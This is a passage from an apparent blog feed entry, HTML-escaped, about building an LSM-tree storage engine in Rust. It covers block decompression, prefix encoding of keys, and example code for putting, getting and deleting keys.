#89DDFF;&quot;&gt;&amp;gt;&amp;gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;    let&lt;&#x2F;span&gt;&lt;span&gt; compression_type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; raw_block&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;    let&lt;&#x2F;span&gt;&lt;span&gt; payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; = &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;raw_block&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;..];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;    match&lt;&#x2F;span&gt;&lt;span&gt; compression_type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; if&lt;&#x2F;span&gt;&lt;span&gt; t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span&gt; COMPRESSION_SNAPPY&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; snap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;raw&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Decoder&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;decompress_vec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; if&lt;&#x2F;span&gt;&lt;span&gt; t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span&gt; COMPRESSION_NONE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Some&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;to_vec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;()),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        _&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; None&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;squeezing-keys-with-prefix-encoding&quot;&gt;Squeezing Keys with Prefix Encoding&lt;&#x2F;h2&gt;
&lt;p&gt;While looking closely at the stored keys, I noticed another area for optimization. Many keys often share the exact same starting letters. Storing those repeated prefixes over and over seemed terribly wasteful. I implemented a prefix compression technique inside the data blocks. Each new key only stores the specific bytes that differ from the key right before it. To make sure reading through a block remains fast, I added periodic uncompressed restart points. Building this logic pushed my byte manipulation skills to the test and successfully squeezed even more data into every kilobyte.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;seeing-it-in-action&quot;&gt;Seeing It In Action&lt;&#x2F;h2&gt;
&lt;p&gt;Building an entire LSM-Tree from scratch was an incredibly rewarding experience. It bridged the gap between abstract computer science concepts and raw hardware reality. I learned exactly why simple sequential operations on a disk can be wonderfully fast. To make testing much easier, I also built a small interactive CLI tool. This allows anyone to manually insert and retrieve data directly. Watching the engine blaze through operations in raw microseconds is immensely satisfying. I highly encourage you to build your own mini database if you want to truly understand how data is born, moved, and securely stored.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;rust&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;use&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; lsmdb&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;StorageEngine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;&#x2F;&#x2F; Open (or create) a database at the given path.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; engine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; StorageEngine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;.&#x2F;my_db&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;)?;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;&#x2F;&#x2F; Write&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;engine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;put&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;user:42&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;Alice&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;)?;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;&#x2F;&#x2F; Read&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt; let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Some&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;) =&lt;&#x2F;span&gt;&lt;span&gt; engine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;user:42&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;)? {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;    println!&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&amp;quot;{}&amp;quot;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;from_utf8_lossy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;));&lt;&#x2F;span&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt; &#x2F;&#x2F; &amp;quot;Alice&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;&#x2F;&#x2F; Delete (tombstone — space recovered during compaction)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;engine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;remove&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;user:42&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;)?;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;</content>
        
    </entry>
</feed>
